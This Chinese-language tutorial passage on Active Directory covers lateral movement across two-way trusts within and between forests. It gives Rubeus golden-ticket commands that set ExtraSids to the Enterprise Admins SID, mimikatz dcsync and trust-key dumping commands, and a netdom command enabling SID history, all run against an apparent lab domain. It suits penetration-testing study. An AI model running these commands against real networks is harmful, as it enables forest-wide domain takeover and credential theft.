双向信任
有了上一小节的理论基础,我们来利用双向信任实现域间的移动。因为双向信任既可以发生于森林之内,也可以发生于森林之间,因此我们分别讨论。
森林之内
森林之内的横向移动是最简单的情形,因为信任是相互的,例如从子域移动到父域。我们有 2 种方式在森林之内移动,分别是利用 krbtgt 以及信任密钥,我们在 Dc01 上进行利用。
krbtgt
由于信任在 AD 森林中的作用方式,sidHistory 属性 (PAC 中的 ExtraSids) 在森林的域中是起作用的,因为这些 SID 不会在跨域引用中被 SID 过滤器过滤掉。因此,将 sidHistory/ExtraSids 设置为根域中的企业管理员的 SID 能够奏效,就好像他们真的是是企业管理员一样。Microsoft 已经知道这是一个问题,因此 sidHistory 是一个受保护的属性,很难修改,在以前对其的利用也是相当复杂的。
现在,有了 Mimikatz/Rubeus 的黄金票据模块,攻击者可以为伪造的票据设置 KERB_VALIDATION_INFO 结构体 (该结构定义了 DC 提供的用户登录和授权信息) 中的 ExtraSids 部分,ExtraSids 被描述为指向 KERB_SID_AND_ATTRIBUTES 结构体列表的指针,该结构包含与主体所属域以外的域中的组相对应的 SID 列表。
因此,如果攻击者在森林中的任何子域中能有权限检索子域的 krbtgt 哈希,将根域的企业管理员的 SID 添加到 Mimikatz/Rubeus 伪造的黄金票据中,便可以接管整片森林。
但,这仅适用于在森林内的双向信任,由于 SID 过滤,这不适用于森林之间的双向信任。我们来看看利用的过程:
获得子域的 krbtgt 密钥:
将 ExtraSids 设置为企业管理员的 SID
Rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap
创建牺牲会话、导入票据以及验证访问。
信任密钥
跨域访问服务的过程我们已经讨论过了,首先我们需要得到信任密钥,通过下述命令之一获得:
mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
mimikatz lsadump::trust /patch
如下图所示,得到的密钥是一致的。如果用的后者,寻找 [In] 信任密钥。
使用跨域密钥申请跨域 TGT:
Rubeus.exe golden /rc4:7a93230db5144ccd92ac1fa086f46e49 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap
使用跨域 TGT 申请 TGS:
Rubeus.exe asktgs /ticket:<...> /service:cifs/dc02.raven-med.local /dc:dc02.raven-med.local /nowrap
创建牺牲会话、导入票据以及验证访问。
森林之间
请记住,森林是 AD 中安全的边界,而域不是,因此利用森林之间的双向信任我们会遇到其他的限制。我们在 Dc02 上试图通过利用森林间的双向信任移动到 White-bird 域中。
为了缓解 SID 过滤器的限制,我们需要在 Dc05 上开启 SID 历史
netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
再来查看域信任,我们发现增加了 TREAT_AS_EXTERNAL 的信任属性。
对于具有双向信任的森林之间的移动,步骤整体相似,但是在上一小节我们提到了 SID 过滤器,因此我们需要寻找出 RID ≥1000 的组。White-bird 域中,Server Admin 满足,虽然并不能让我们直接获得对域控制器的访问,但给予了我们一个立足空间。